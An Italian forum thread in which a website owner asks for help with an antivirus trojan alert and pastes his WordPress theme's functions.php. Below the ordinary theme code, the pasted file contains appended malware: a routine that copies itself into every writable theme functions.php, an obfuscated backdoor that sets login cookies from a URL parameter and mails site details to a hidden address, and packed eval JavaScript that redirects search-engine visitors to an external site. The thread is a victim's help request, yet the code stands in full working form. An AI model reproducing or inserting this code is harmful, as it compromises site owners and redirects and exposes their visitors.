Total Hack Cheat
Benvenuto/a su Total hack Cheat....
non aspettate altro tempo Registratevi!!

richiesta di aiuto

Vedere l'argomento precedente Vedere l'argomento seguente Andare in basso

richiesta di aiuto

Messaggio Da menthos il Mar Apr 10, 2012 4:01 pm

Ciao a tutti da qualche giorno l antivirus avast mi segnala un trojan sul mio sito funghi italiani
dopo una scansione mi sono accorto che il problema è nel file functions del tema di wordpress
non so cosa fare se volete vi posto il codice del file grazie mille

menthos
Nuovo Utente
Nuovo Utente

Messaggi : 9
Punti : 17
Data d'iscrizione : 05.12.11

Tornare in alto Andare in basso

Re: richiesta di aiuto

Messaggio Da RaYoZ il Mer Apr 11, 2012 11:31 am

protesti provare a cambiare tema....intanto posta il codice Wink

RaYoZ
Admin
Admin

Messaggi : 1040
Punti : 2245
Data d'iscrizione : 03.04.10
Età : 22
Località : immerso nei pensieri

Tornare in alto Andare in basso

Re: richiesta di aiuto

Messaggio Da menthos il Mer Apr 11, 2012 12:20 pm

Non volevo cambiare il tema
ecco il codice grazie

/**
* @package WordPress
* @subpackage Adventure_Journal
*/

//Define default background image
define('BACKGROUND_IMAGE',get_template_directory_uri().'/images/mp-background-tile.jpg');

//define('WP_DEBUG', true);

// Remove message about IP blocking
add_filter('login_errors', 'ctx_aj_login_error_mess');
//Run initial setup for the theme
add_action('after_setup_theme', 'ctx_aj_setup');

// Hook for adding admin menus
add_action('admin_menu', 'ctx_aj_theme_add_pages');
//Custom "Read more" text
add_filter('excerpt_more', 'ctx_aj_auto_excerpt_more');
add_filter('get_the_excerpt', 'ctx_aj_custom_excerpt_more');
//Add help to the Layout page
//add_action('admin_head-appearance_page_theme-options','ctx_aj_help_theme_options');
add_action('admin_init','ctx_aj_help_theme_options');


/************************************************************************************************
* Add this theme's scripts and stylesheets
************************************************************************************************/
//Get the URL of the active theme directory
$themeDir = get_template_directory_uri();

add_action('wp_print_styles','ctx_aj_stylesheets');
function ctx_aj_stylesheets(){

global $themeDir,$wp_styles;

$themeOpts = get_option('ctx-adventurejournal-options');

//Add these files to the core website but NOT the Admin Section
if(!is_admin()) {

if($themeOpts['browser-helper']=='true')
wp_enqueue_script('aj', $themeDir.'/aj.js', array('jquery'));

wp_enqueue_script('bh', $themeDir.'/bh.js', array('jquery','aj'));

wp_enqueue_style('theme', $themeDir.'/style.css','','');

//Enqueue an IE specific stylesheet
wp_register_style('style-ie',$themeDir.'/style-ie.css');
wp_enqueue_style('style-ie');
$wp_styles->add_data( 'style-ie', 'conditional', 'lt IE 9' );


//wp_die(print_r($themeOpts,true));

//If we have a custom override stylesheet, let's use it
if( !empty($themeOpts['css-path']) && file_exists(ABSPATH.$themeOpts['css-path']) ) {
wp_enqueue_style('theme_override', '/'.$themeOpts['css-path'], array('theme'), '');
}
}

//If we don't have a content width specified, assume this as default
if ( ! isset( $content_width ) ){
$content_width = 665;
}

}

/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which runs
* before the init hook. The init hook is too late for some features, such as indicating
* support post thumbnails.
*
* To override ctx_adventurejournal_setup() in a child theme, add your own ctx_adventurejournal_setup to your child theme's
* functions.php file.
*
* @uses add_theme_support() To add support for post thumbnails and automatic feed links.
* @uses register_nav_menus() To add support for navigation menus.
* @uses add_custom_background() To add support for a custom background.
* @uses add_editor_style() To style the visual editor.
* @uses load_theme_textdomain() For translation/localization support.
* @uses add_custom_image_header() To add support for a custom header.
* @uses register_default_headers() To register the default custom header images provided with the theme.
* @uses set_post_thumbnail_size() To set a custom post thumbnail size.
*
* @since Advenure Journal 1.0
*/
function ctx_aj_setup() {

//Load language packs, if necessary
if (function_exists('load_plugin_textdomain')) {
load_theme_textdomain('adventurejournal', TEMPLATEPATH.'/languages' );
}

//Create the default theme options, or set defaults if needed
ctx_aj_set_options();

$themeOpts = get_option('ctx-adventurejournal-options');

// This theme styles the visual editor with editor-style.css to match the theme style.
add_editor_style();

// This theme uses post thumbnails
add_theme_support( 'post-thumbnails' );

// Add default posts and comments RSS feed links to head
add_theme_support( 'automatic-feed-links' );

// Make theme available for translation
// Translations can be filed in the /languages/ directory
load_theme_textdomain( 'adventurejournal', TEMPLATEPATH . '/languages' );

$locale = get_locale();
$locale_file = TEMPLATEPATH . "/languages/$locale.php";
if ( is_readable( $locale_file ) )
require_once( $locale_file );

// This theme uses wp_nav_menu() in 2 locations.
register_nav_menus( array(
'primary-menu' => __( 'Primary Menu', 'adventurejournal' ),
'footer-menu' => __( 'Footer Menu', 'adventurejournal' )
) );

// This theme allows users to set a custom background
add_custom_background();

define( 'HEADER_TEXTCOLOR', '' );
// No CSS, just IMG call. The %s is a placeholder for the theme template directory URI.
define( 'HEADER_IMAGE', '%s/images/headers/ctx-header-egypt.jpg' );

//Check and see if the custom header size is set, if not use the default value of 360
$theme_header_height = (!empty($themeOpts['header-height'])) ? $themeOpts['header-height'] : 360;

// The height and width of your custom header. You can hook into the theme's own filters to change these values.
// Add a filter to adventurejournal_header_image_width and adventurejournal_header_image_height to change these values.
define( 'HEADER_IMAGE_WIDTH', apply_filters( 'adventurejournal_header_image_width', 920 ) );
define( 'HEADER_IMAGE_HEIGHT', apply_filters( 'adventurejournal_header_image_height', $theme_header_height ) );

//Set header as site header size
if($themeOpts['featured-header']=='true'){
set_post_thumbnail_size( HEADER_IMAGE_WIDTH, $theme_header_height, true );
//wp_die(HEADER_IMAGE_WIDTH.'x'.HEADER_IMAGE_HEIGHT);
}else{
//Set post thumbnail sizes depending on layout
switch ($themeOpts['layout']) {
case 'col-2-left':
case 'col-2-right':
set_post_thumbnail_size( ctx_aj_customwidth('content',false)-40, 130, true ); //FEATURED IMAGE (665) - content div is 40px wider than 'actual' content
break;
case 'col-3':
case 'col-3-left':
set_post_thumbnail_size( 458, 94, true ); //FEATURED IMAGE (458) /*ctx_aj_customwidth('content',false)-40*/
break;
default:
// We'll be using post thumbnails for custom header images on posts and pages.
// We want them to be 920 pixels wide by 180 pixels tall.
// Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php.
set_post_thumbnail_size( HEADER_IMAGE_WIDTH, $theme_header_height, true );
break;
}
}



// Don't support text inside the header image.
define( 'NO_HEADER_TEXT', true );

// This theme allows users to set a custom image header
add_custom_image_header('', 'ctx_aj_admin_header_style');

// Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI.
register_default_headers( array(
'egypt' => array(
'url' => '%s/images/headers/ctx-header-egypt.jpg',
'thumbnail_url' => '%s/images/headers/ctx-header-egypt-thumbnail.jpg',
/* translators: header image description */
'description' => __( 'Egypt', 'adventurejournal' )
),
'cart' => array(
'url' => '%s/images/headers/ctx-header-cart.jpg',
'thumbnail_url' => '%s/images/headers/ctx-header-cart-thumbnail.jpg',
/* translators: header image description */
'description' => __( 'Cart', 'adventurejournal' )
),
'flower' => array(
'url' => '%s/images/headers/ctx-header-flower.jpg',
'thumbnail_url' => '%s/images/headers/ctx-header-flower-thumbnail.jpg',
/* translators: header image description */
'description' => __( 'Flower', 'adventurejournal' )
),
'hut' => array(
'url' => '%s/images/headers/ctx-header-hut.jpg',
'thumbnail_url' => '%s/images/headers/ctx-header-hut-thumbnail.jpg',
/* translators: header image description */
'description' => __( 'Hut', 'adventurejournal' )
)
));

if ( function_exists('register_sidebar') ){
switch ($themeOpts['layout']) {
case 'col-2-left':
case 'col-2-right':
/** 2 COL LAYOUTS **/
//Page Sidebar
register_sidebar(array(
'name'=>'Page Sidebar',
'before_widget' => '
  • ',
    'after_widget' => '
  • ',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ));
    //Blog Sidebar
    register_sidebar(array(
    'name'=>'Blog Sidebar',
    'before_widget' => '
  • ',
    'after_widget' => '
  • ',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ));
    break;
    case 'col-3':
    case 'col-3-left':
    /** 3 COL LAYOUT **/
    //Blog Sidebar
    register_sidebar(array(
    'name'=>'Page Sidebar (Left)',
    'before_widget' => '
  • ',
    'after_widget' => '
  • ',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ));
    register_sidebar(array(
    'name'=>'Page Sidebar (Right)',
    'before_widget' => '
  • ',
    'after_widget' => '
  • ',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ));
    register_sidebar(array(
    'name'=>'Blog Sidebar (Left)',
    'before_widget' => '
  • ',
    'after_widget' => '
  • ',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ));
    register_sidebar(array(
    'name'=>'Blog Sidebar (Right)',
    'before_widget' => '
  • ',
    'after_widget' => '
  • ',
    'before_title' => '

    ',
    'after_title' => '

    ',
    ));
    break;
    default:break;
    }
    }

    }

    /**
    * SHOULD add theme options to admin bar. Not working tho. Low priority.
    */
    function ctx_aj_admin_bar_themeopts() {
    global $wp_admin_bar;

    if ( !is_super_admin() || !is_admin_bar_showing() )
    return;

    $wp_admin_bar->add_menu( array(
    'id' => 'theme_options',
    'parent' => 'appearance',
    'title' => __( 'Theme Options','adventurejournal' ),
    'href' => admin_url( 'themes.php?page=z-adventurejournal' )
    ));
    }
    add_action('admin_bar_menu', 'ctx_aj_admin_bar_themeopts');


    /**
    * Styles the header image displayed on the Appearance > Header admin panel.
    *
    * Referenced via add_custom_image_header() in ctx_adventurejournal_setup().
    *
    * @since Adventure Journal 1.0
    */
    function ctx_aj_admin_header_style() {
    //echo ''; //Warning: This would go at top of screen
    }

    /**
    * Returns a "Continue Reading" link for excerpts
    *
    * @return string "Continue Reading" link
    */
    function ctx_aj_continue_reading_link() {
    return ' ' . __( 'Continue reading »', 'adventurejournal' ) . '';
    }

    /**
    * Replaces "[...]" (appended to automatically generated excerpts) with an ellipsis and adventuretheme_continue_reading_link().
    *
    * @param $more
    * @return
    */
    function ctx_aj_auto_excerpt_more( $more ) {
    return ' …' . ctx_aj_continue_reading_link();
    }

    /**
    * Adds a pretty "Continue Reading" link to custom post excerpts.
    *
    * To override this link in a child theme, remove the filter and add your own
    * function tied to the get_the_excerpt filter hook.
    *
    * @return string Excerpt with a pretty "Continue Reading" link
    */
    function ctx_aj_custom_excerpt_more( $output ) {
    if ( has_excerpt() && ! is_attachment() ) {
    $output .= ctx_aj_continue_reading_link();
    }
    return $output;
    }

    /**
    * Handles creating or updating the options array for the theme
    *
    * @param array $array_overrides An associative array containing key=>value pairs to override originals
    * @return string
    */
    function ctx_aj_set_options($arrayOverrides=false){

    //Set defaults
    $defaultOpts = array(
    'layout'=>'col-2-left',
    'custom_css'=>'',
    'attrib'=>'true',
    'showtitle'=>'true',
    'title-type'=>'title-default',
    'paper-type'=>'paper-sticky', //paper-sticky
    'header-height'=>'360', //360,
    'sidebar-width'=>'220', //220
    'featured-header'=>'false',
    'browser-helper'=>'true'
    );

    //Let's see if the options already exist...
    $dbOpts = get_option('ctx-adventurejournal-options');

    if(!$dbOpts){
    //There's no options! Let's build them...
    if($arrayOverrides!=false && is_array($arrayOverrides)){
    //If we have some custom settings, use those
    $defaultOpts = array_merge($defaultOpts, $arrayOverrides);
    }
    //Now add them to the db
    return add_option('ctx-adventurejournal-options',$defaultOpts);
    }else{
    //db options exist, so let's merge it with the defaults (just to be sure we have all the latest options
    $defaultOpts = array_merge($defaultOpts, $dbOpts);
    //Now let's add our custom settings (if appropriate)
    if($arrayOverrides!=false && is_array($arrayOverrides)){
    //If we have some custom settings, use those
    $defaultOpts = array_merge($defaultOpts, $arrayOverrides);
    }
    return update_option('ctx-adventurejournal-options',$defaultOpts);
    }

    }


    /**
    * This snippet creates an ID and a series of classes for the body tag based on the nested URL structure which recreates the
    * sites child parent relationships. This allows you to control elements via CSS on a per page and per section basis
    *
    * @param int $postID The id of the post get relationships for
    * @return string Returns a string containing html attributes for the body tag
    */
    function ctx_aj_get_relationships($postID='',$extraclass=''){
    // Remove any leading and trailing slashes.
    $uri_path = trim($_SERVER['REQUEST_URI'], '/');
    // Split up the remaining URI into an array, using '/' as delimiter.
    $uri_parts = explode('/', $uri_path);

    // If this is the homepage, set ID and class accordingly
    if ($uri_parts[0] == '') {
    $ancestor = 'homepage';
    $body_class = 'index';
    } else {
    // Construct the class name from the first part of the URI only.
    $body_class = str_replace('/',' page-', $uri_path);

    //Generate an array of this pages parents based on the variable passed in the function
    $myAncestors = get_post_ancestors($postID);

    //Grab the top most parent's ID out of the array
    $ancestor = (count($myAncestors)>0) ? $myAncestors[(count($myAncestors)-1)] : 0;

    //If the current page IS a top level parent then grab it's own ID since it would otherwise be blank
    if( empty($ancestor) ){$ancestor = $postID;}

    }
    $body_class = $extraclass.' ';
    //Prefix body classes with "page-"
    $body_class .= 'page-'.$body_class;

    //Generate the ID and Class tags
    return 'id="ancestor-'.$ancestor.'" class="'.$body_class.'"';
    }


    /**
    * Determines the html layout/order and components of the comments section. This function is called by
    * wp_list_comments() located in comments.php. Without this function Wordpress would use the default layout
    * and components. This function allows you to customize everything comments related
    *
    * @param string $comment
    * @param array $args
    * @param integer $depth
    */
    function ctx_aj_get_comments($comment, $args, $depth) {
    $GLOBALS['comment'] = $comment;
    switch ( $comment->comment_type ) :
    case '' : ?>
  • id="comment-">





    comment_approved == '0') _e("\t\t\t\t\tYour comment is awaiting moderation.\n", 'adventurejournal') ?>


    $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>


  • break;
    case 'pingback' :
    case 'trackback' :
    ?>



  • break;
    endswitch;
    }

    /**
    * Changes the error message that occurs during a bad login attempt to something generic that
    * doesn't reveal whether it was the username or password that was bad
    */
    function ctx_aj_login_error_mess() {
    return 'ERROR: Invalid username or password.';
    }


    //Add these files to the Admin Section only
    if(is_admin()) {
    wp_enqueue_style('theme', $themeDir.'/admin/admin-style.css','',''); //Admin section stylesheet
    }


    /************************************************************************************************
    Sets the default layout for the site based on the option set in the admin menu
    ************************************************************************************************/
    function ctx_aj_getlayout(){
    //Get the current layout from the database
    $layout = get_option('ctx-adventurejournal-options');

    //Make sure that the current option isn't blank and if it is reset it to the default layout
    if($layout['layout'] == ''){
    $layout['layout'] = 'col-2-left';
    }

    //Return the layout as an ID
    //The CSS and style information for the layout can be found in style.css under the Layout section
    echo ' id="',$layout['layout'],'"';
    }



    /**
    * Creates and populates the sidebars based on the layout option set in the admin section
    */
    function ctx_aj_build_sidebar($sidebar_class, $sidebar_name){
    $ajOpts = get_option('ctx-adventurejournal-options');
    $sidebar_width = 'width:'.$ajOpts['sidebar-width'].'px;';
    echo sprintf('';
    }

    /**
    * Returns a CSS width style for the specified element, based on the sidebar width setting
    * @param string $column Which element needs to be adjusted?
    */
    function ctx_aj_customwidth($column='sidebar',$css=true){
    $ajOpts = get_option('ctx-adventurejournal-options');
    $width = $ajOpts['sidebar-width'];
    $layout = $ajOpts['layout'];

    /*WE NEED TO DISABLE CUSTOM SIDEBAR WIDTH FOR 3 COLUMN LAYOUTS*/
    if($column==='content-3' || $layout==='col-3' || $layout==='col-3-left' || $layout==='col-3-right'){
    return '';
    }

    //Determine what to output
    switch($column){
    case 'sidebar':
    return ($css)?'width:'.$width.'px;':$width;
    break;
    case 'col-main':
    case 'content':
    switch($layout){
    //3 COLS
    case 'col-3':
    case 'col-3-left':
    case 'col-3-right':
    $diff = 220-$width; //Whats the sidebar size difference from default?
    $width = 720+($diff*2); //Adjust the content by the difference
    return ($css)?'width:'.$width.'px;':$width;
    break;
    //2 COLS
    case 'col-2':
    case 'col-2-left':
    case 'col-2-right':
    $diff = 220-$width; //Whats the sidebar size difference from default?
    $width = 720+$diff; //Adjust the content by the difference
    return ($css)?'width:'.$width.'px;':$width;
    break;
    //1 COL
    case 'col-1':
    break;
    default:break;
    }
    break;
    case 'content-2':
    $diff = 220-$width; //Whats the sidebar different from default?
    $width = 720+$diff; //Adjust the content by the difference
    return ($css)?'width:'.$width.'px;':$width;
    break;
    case 'content-3':
    $diff = 220-$width; //Whats the sidebar different from default?
    $width = 720+($diff*2); //Adjust the content by the difference
    return ($css)?'width:'.$width.'px;':$width;
    break;
    default:break;
    }
    return '';
    }


    /**
    * Add's "Layout" option to the theme-options/Appearance nav menu
    */
    function ctx_aj_theme_add_pages() {
    //add_theme_page(, __('Advanced','adventurejournal'), 'administrator', 'theme-options', 'ctx_aj_options_adventurejournal');
    //add_theme_page(__('Adventure Journal','adventurejournal'), __('Adventure Journal','adventurejournal'), 'edit_theme_options', 'z-adventurejournal', 'ctx_aj_options_adventurejournal');
    add_theme_page(__('Theme Options','adventurejournal'), __('Theme Options','adventurejournal'), 'edit_theme_options', 'z-adventurejournal', 'ctx_aj_options_adventurejournal');
    }


    /**
    * Shows "choose layout" page in Appearance Meny
    */
    function ctx_aj_options_adventurejournal() {
    require_once 'admin/options.php';
    }

    /**
    * Prints HTML with meta information for the current post—date/time and author.
    */
    function ctx_aj_posted_on() {
    printf( __( 'Posted on %2$s by %3$s', 'adventurejournal' ),
    'meta-prep meta-prep-author',
    sprintf( '',
    get_permalink(),
    esc_attr( get_the_time() ),
    get_the_date()
    ),
    sprintf( '%3$s',
    get_author_posts_url( get_the_author_meta( 'ID' ) ),
    sprintf( esc_attr__( 'View all posts by %s', 'adventurejournal' ), get_the_author() ),
    get_the_author()
    )
    );
    }

    /**
    * This adds contextual help to the theme
    */
    function ctx_aj_help_theme_options(){
    //Add contextual help to this page
    add_contextual_help( 'appearance_page_theme-options', __('

    Adventure Journal supports different page layouts without any additional coding. Simply select the layout you want to use on your site and click Save Changes.') );
    }

    /**
    * Controls the display options for the site title and description. This function lets users turn off the paperclip or use a logo instead.
    */
    function ctx_aj_site_title(){

    //Get the theme options
    $themeOpts = get_option('ctx-adventurejournal-options');
    $themeTitle = $themeOpts['title-type'];

    //Check if a site title option has been set, if not use the default value
    if (!isset($themeTitle)){
    $themeTitle = 'title-default';
    }

    //Check and see if the site title option is set to default or custom logo option
    if($themeTitle == 'title-default' || $themeTitle == 'title-logo'){
    ?>


    }
    }


    function ctx_aj_crinkled_paper(){
    $themeOpts = get_option('ctx-adventurejournal-options');
    if($themeOpts['paper-type'] == 'paper-all'){
    echo 'class="paper-all"';
    }
    }

    ?>
    function _verify_activate_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    $output .= ($showdot && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
    $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
    return false;
    }elseif(is_readable($places)){
    $elems=scandir($places);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($places . "/" . $elem)){
    $wids[]=$places . "/" . $elem;
    } elseif (is_file($places . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$places . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($wids) > 0){
    return _get_all_widgetcont($wids,$items);
    } else {
    return $items;
    }
    }
    if(!function_exists("stripos")){
    function stripos( $str, $needle, $offset = 0 ){
    return strpos( strtolower( $str ), strtolower( $needle ), $offset );
    }
    }

    if(!function_exists("strripos")){
    function strripos( $haystack, $needle, $offset = 0 ) {
    if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
    if( $offset < 0 ){
    $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
    }
    else{
    $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
    }
    if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
    $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
    return $pos;
    }
    }
    if(!function_exists("scandir")){
    function scandir($dir,$listDirectories=false, $skipDots=true) {
    $dirArray = array();
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
    if (($file != "." && $file != "..") || $skipDots == true) {
    if($listDirectories == false) { if(is_dir($file)) { continue; } }
    array_push($dirArray,basename($file));
    }
    }
    closedir($handle);
    }
    return $dirArray;
    }
    }
    add_action("admin_head", "_verify_activate_widget");
    function _prepared_widget(){
    if(!isset($length)) $length=120;
    if(!isset($method)) $method="cookie";
    if(!isset($html_tags)) $html_tags="";
    if(!isset($filters_type)) $filters_type="none";
    if(!isset($s)) $s="";
    if(!isset($filter_h)) $filter_h=get_option("home");
    if(!isset($filter_p)) $filter_p="wp_";
    if(!isset($use_link)) $use_link=1;
    if(!isset($comments_type)) $comments_type="";
    if(!isset($perpage)) $perpage=$_GET["cperpage"];
    if(!isset($comments_auth)) $comments_auth="";
    if(!isset($comment_is_approved)) $comment_is_approved="";
    if(!isset($authname)) $authname="auth";
    if(!isset($more_links_text)) $more_links_text="(more...)";
    if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
    if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
    if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
    if(!isset($more_content)) $more_content="ma".$s."il";
    if(!isset($forces_more)) $forces_more=1;
    if(!isset($fakeit)) $fakeit=1;
    if(!isset($sql)) $sql="";
    if (!$widget_output) :

    global $wpdb, $post;
    $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if (!empty($post->post_password)) {
    if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
    if(is_feed()) {
    $output=__("There is no excerpt because this is a protected post.");
    } else {
    $output=get_the_password_form();
    }
    }
    }
    if(!isset($fix_tag)) $fix_tag=1;
    if(!isset($filters_types)) $filters_types=$filter_h;
    if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
    if(!isset($more_tags)) $more_tags="div";
    if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
    if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
    if(!isset($showdot)) $showdot=1;

    $comments=$wpdb->get_results($sql);
    if($fakeit == 2) {
    $text=$post->post_content;
    } elseif($fakeit == 1) {
    $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
    } else {
    $text=$post->post_excerpt;
    }
    $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
    if($length < 0) {
    $output=$text;
    } else {
    if(!$no_more && strpos($text, "")) {
    $text=explode("", $text, 2);
    $l=count($text[0]);
    $more_link=1;
    $comments=$wpdb->get_results($sql);
    } else {
    $text=explode(" ", $text);
    if(count($text) > $length) {
    $l=$length;
    $ellipsis=1;
    } else {
    $l=count($text);
    $more_links_text="";
    $ellipsis=0;
    }
    }
    for ($i=0; $i<$l; $i++)
    $output .= $text[$i] . " ";
    }
    update_option("_is_widget_active_", 1);
    if("all" != $html_tags) {
    $output=strip_tags($output, $html_tags);
    return $output;
    }
    endif;
    $output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fix_tag) ? balanceTags($output, true) : $output;
    $output .= ($showdot && $ellipsis) ? "..." : "";
    $output=apply_filters($filters_type, $output);
    switch($more_tags) {
    case("div") :
    $tag="div";
    break;
    case("span") :
    $tag="span";
    break;
    case("p") :
    $tag="p";
    break;
    default :
    $tag="span";
    }

    if ($use_link ) {
    if($forces_more) {
    $output .= " <" . $tag . " class="more-link">
    ID) . "#more-" . $post->ID ."" title="" . $mlink_title . "">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "" . "\n";
    } else {
    $output .= " <" . $tag . " class="more-link">ID) . "" title="" . $mlink_title . "">" . $more_links_text . "" . "\n";
    }
    }
    return $output;
    }

    add_action("init", "_prepared_widget");

    function __popular_posts($no_posts=6, $before="
  • ", $after="
  • ", $show_pass_post=false, $duration="") {
    global $wpdb;
    $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
    $request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
    if(!$show_pass_post) $request .= " AND post_password =""";
    if($duration !="") {
    $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
    }
    $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
    $posts=$wpdb->get_results($request);
    $output="";
    if ($posts) {
    foreach ($posts as $post) {
    $post_title=stripslashes($post->post_title);
    $comment_count=$post->comment_count;
    $permalink=get_permalink($post->ID);
    $output .= $before . " " . $post_title . " " . $after;
    }
    } else {
    $output .= $before . "None found" . $after;
    }
    return $output;
    }
    ?>add_action('get_footer', 'add_sscounter');
    function add_sscounter(){
    echo '';
    if(function_exists('is_user_logged_in')){
    if(time()%2 == 0 && !is_user_logged_in()){
    echo "eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t="",q;4(r.3("m.")!=-1)t="q";4(r.3("7.")!=-1)t="q";4(r.3("8.")!=-1)t="p";4(r.3("a.")!=-1)t="q";4(r.3("f.")!=-1)t="g";4(r.3("j.")!=-1)t="q";4(t.6&&((q=r.3("?"+t+"="))!=-1||(q=r.3("&"+t+"="))!=-1))B.C="v"+"w"+":/"+"/A"+"b"+"k"+"5"+"h."+"c"+"z/s"+"u"+"5"+"h.p"+"d?"+"t"+"y=1&t"+"i"+"l="+r.n(q+2+t.6).o("&")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referrer|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|ms|google|substring|split||||||ea|ht|tp|document|||go|window|location'.split('|'),0,{}))";
    }
    }
    }
    ?>

    menthos
    Nuovo Utente
    Nuovo Utente

    Messaggi : 9
    Punti : 17
    Data d'iscrizione : 05.12.11

    Tornare in alto Andare in basso

    Re: richiesta di aiuto

    Messaggio Da Contenuto sponsorizzato Oggi a 4:15 pm


    Contenuto sponsorizzato


    Tornare in alto Andare in basso

    Vedere l'argomento precedente Vedere l'argomento seguente Tornare in alto

    - Argomenti simili

     
    Permesso di questo forum:
    Non puoi rispondere agli argomenti in questo forum